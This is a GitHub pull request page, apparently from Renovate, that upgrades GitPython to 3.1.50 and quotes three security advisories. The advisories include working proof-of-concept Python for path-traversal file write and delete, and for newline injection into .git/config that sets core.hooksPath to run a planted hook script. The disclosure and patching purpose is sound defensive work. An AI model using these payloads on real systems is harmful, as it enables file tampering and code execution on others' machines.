Skip to content

chore(deps): update dependency gitpython to v3.1.50 [security]#119

Merged
witx98 merged 1 commit into
masterfrom
renovate/pypi-gitpython-vulnerability
May 12, 2026
Merged

chore(deps): update dependency gitpython to v3.1.50 [security]#119
witx98 merged 1 commit into
masterfrom
renovate/pypi-gitpython-vulnerability

Conversation

@marwin1991
Copy link
Copy Markdown
Member

@marwin1991 marwin1991 commented May 9, 2026

This PR contains the following updates:

Package Change Age Confidence
GitPython ==3.1.47==3.1.50 age confidence

GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository

CVE-2026-44243 / GHSA-7545-fcxq-7j24

More information

Details

🧾 Summary

A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.


📦 Affected Versions
  • Affected: <= 3.1.46 and current main (3.1.47 in local checkout)

🧠 Details
Vulnerability Type

Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion


Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.


Affected Code
def set_reference(self, ref, logmsg=None):
    ...
    fpath = self.abspath
    assure_directory_exists(fpath, is_file=True)

    lfd = LockedFD(fpath)
    fd = lfd.open(write=True, stream=True)
    ...
@&#8203;classmethod
def delete(cls, repo, path):
    full_ref_path = cls.to_full_path(path)
    abs_path = os.path.join(repo.common_dir, full_ref_path)
    if os.path.exists(abs_path):
        os.remove(abs_path)
def rename(self, new_path, force=False):
    new_path = self.to_full_path(new_path)
    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
    ...
    os.rename(cur_abs_path, new_abs_path)

Attack Vector

Local attack through application-controlled input passed into GitPython reference APIs

Authentication Required

None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.


🧪 Proof of Concept
Setup
pip install GitPython==3.1.46
python poc.py

Exploit
import shutil
from pathlib import Path

from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference

base = Path("gp-ghsa-poc").resolve()
if base.exists():
    shutil.rmtree(base)

repo_dir = base / "repo"
repo = Repo.init(repo_dir)

(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")

outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")

print(f"repo_dir       = {repo_dir}")
print(f"outside_write  = {outside_write}")
print(f"outside_delete = {outside_delete}")

Reference.create(repo, "../../../outside_write.txt", "HEAD")

print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
    print("[+] outside_write content:")
    print(outside_write.read_text(encoding="utf-8"))

SymbolicReference.delete(repo, "../../../outside_delete.txt")

print("\n[+] outside_delete exists after delete:", outside_delete.exists())

Result
repo_dir       = ...\gp-ghsa-poc\repo
outside_write  = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt

[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>

[+] outside_delete exists after delete: False

💥 Impact
What can an attacker do?
  • Create or overwrite files outside the repository metadata directory
  • Delete attacker-chosen files reachable from the process permissions
  • Corrupt application state or configuration files
  • Cause denial of service by deleting or overwriting important files

Security Impact
  • Confidentiality: Low
  • Integrity: High
  • Availability: High

Who is affected?
  • Applications that expose GitPython reference operations to user-controlled input
  • Git automation services, repository management backends, CI/CD helpers, and developer platforms
  • Multi-user environments where one user can influence ref names processed on behalf of another workflow

🛠️ Mitigation / Fix
Recommended Fix
def _validate_ref_write_path(repo, path, *, for_git_dir=False):
    SymbolicReference._check_ref_name_valid(path)

    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
    target = (base / path).resolve()

    if base not in [target, *target.parents]:
        raise ValueError(f"Reference path escapes repository boundary: {path}")

    return str(target)
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

CVE-2026-44244 / GHSA-v87r-6q3f-2j67

More information

Details

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks

os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:

import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
    raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath

GHSA-mv93-w799-cj2w

More information

Details

Summary

The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.

Details

File: git/config.py — GitPython 3.1.49 (latest patched version)

  def set_value(self, section: str, option: str, value) -> "GitConfigParser":
      value_str = self._value_to_string_safe(value)   # only value is validated
      if not self.has_section(section):
          self.add_section(section)                    # section not validated
      super().set(section, option, value_str)          # option not validated
      return self

_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.

PoC

  import git, os, subprocess

  repo = git.Repo.init("/tmp/bypass_test")

  os.makedirs("/tmp/evil_hooks", exist_ok=True)
  with open("/tmp/evil_hooks/pre-commit", "w") as f:
      f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
  os.chmod("/tmp/evil_hooks/pre-commit", 0o755)

  # Inject newline into section parameter (not value — already patched)
  with repo.config_writer() as cw:
      cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")

  r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
                     capture_output=True, text=True)
  print(r.stdout.strip())  # → /tmp/evil_hooks

  subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
  print(open("/tmp/rce_proof.txt").read())  # → uid=1000(...) RCE confirmed

Impact

Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.

Severity

  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

gitpython-developers/GitPython (GitPython)

v3.1.50

Compare Source

What's Changed

New Contributors

Full Changelog: gitpython-developers/GitPython@3.1.49...3.1.50

v3.1.49: - Security

Compare Source

What's Changed

Full Changelog: gitpython-developers/GitPython@3.1.48...3.1.49

v3.1.48: - Security

Compare Source

Accidentally deleted the previous GH release, it did mention the advisory this fixes.

What's Changed

Full Changelog: gitpython-developers/GitPython@3.1.47...3.1.48


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate.

@codecov
Copy link
Copy Markdown

codecov Bot commented May 9, 2026

Codecov Report

✅ All modified and coverable lines are covered by tests.

📢 Thoughts on this report? Let us know!

@marwin1991
Copy link
Copy Markdown
Member Author

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

@witx98 witx98 merged commit a2021bb into master May 12, 2026
7 checks passed
@witx98 witx98 deleted the renovate/pypi-gitpython-vulnerability branch May 12, 2026 09:33
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants